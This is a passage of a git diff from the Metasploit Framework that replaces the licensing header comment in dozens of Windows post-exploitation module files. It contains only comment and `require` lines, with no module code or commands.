https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index fc1360dcab..f7a89cb27b 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index 9fd88fceaa..299c8b3eea 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index e438770747..c9e0c48025 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index 05b1b5bc93..44db669c6a 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 5e36b97d16..0e87b99099 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 6f6df2a4ef..7e5fc7dfa1 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index 9d3b480c0e..b103cfc5db 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index 6cb92c7b78..4fee0faf11 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index 39ac0a753b..e5f045fd59 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 93fbfbd109..bca7b022b6 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 00b7ac62c1..20f506fba8 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index 1536fd6c4d..2d85d43034 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index 899f7f9e6c..953348cb82 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -1,10 +1,8 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index 960f3692da..eb76d98a34 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index 406a6a0fbf..cf08f7bba5 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -1,10 +1,8 @@ # post/windows/gather/enum_vnc_pw.rb ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index 42eb6917c0..ae8cbef726 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index 9e0fcdd74e..52b7788dad 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index c37397fc58..9488fdc49f 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 23fac7fa5b..56bd975b74 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex' diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index f3c3819c4f..a86c45e233 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index f153ecfc4c..31abead638 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex' diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index a0e74aa165..06ee91d28f 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 24cb2496e3..52cc393216 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 55e2efad2a..4e2f94ab22 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex' diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index 2f08c7e451..107ff15bba 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 06801f4f15..5819b932fb 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index 22870352a4..00d1820c49 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 143b2172b6..58e4dc52ea 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index 9254da26a1..b7512c4f90 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 5b9bccc897..505b6d385e 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index a42b4e6ff0..c438a83168 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb index b4ffe8c562..6066fe1595 100644 --- a/modules/post/windows/gather/enum_hostfile.rb +++ b/modules/post/windows/gather/enum_hostfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 2f89250c30..7c4159f971 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb index f0baf7cb7a..8013f40dc8 100644 --- a/modules/post/windows/gather/enum_logged_on_users.rb +++ b/modules/post/windows/gather/enum_logged_on_users.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_ms_product_keys.rb b/modules/post/windows/gather/enum_ms_product_keys.rb index 7d7c306024..02a231bb6f 100644 --- a/modules/post/windows/gather/enum_ms_product_keys.rb +++ b/modules/post/windows/gather/enum_ms_product_keys.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index 704269b45b..1107e15974 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index e2ff205879..cbc121bc6e 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index 28047faee3..1412346322 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 5556023238..8f75d3686f 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 29475a5f42..05260dedd7 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index 3cd0289aab..ca23fe04df 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index de7330cb81..336dd9d1b2 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -1,10 +1,8 @@ # post/windows/gather/enum_termserv.rb ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 524dd62fc8..91506a5963 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index e3040ad486..f30d6e8436 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex' diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 852f5f6513..66a4f04aae 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index 3b33d17f7a..cd95f7fc23 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index cd85659444..df61a3f36e 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index f2988cdad9..70de322162 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 53705ba40f..84d641e789 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # nbd_server.rb diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 2d28bcd058..581e1a321d 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 07f6662105..6024e41ede 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 4014862ff8..406250f2e9 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb index 7d55b09420..fad3d2a566 100644 --- a/modules/post/windows/gather/memory_grep.rb +++ b/modules/post/windows/gather/memory_grep.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index ec76b7ae52..c1240cc7fe 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb index 40a557fabd..93327d5d3e 100644 --- a/modules/post/windows/gather/resolve_hosts.rb +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -1,8 +1,6 @@ # -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb index 6d824d3a21..a56439fa6f 100644 --- a/modules/post/windows/gather/resolve_sid.rb +++ b/modules/post/windows/gather/resolve_sid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git 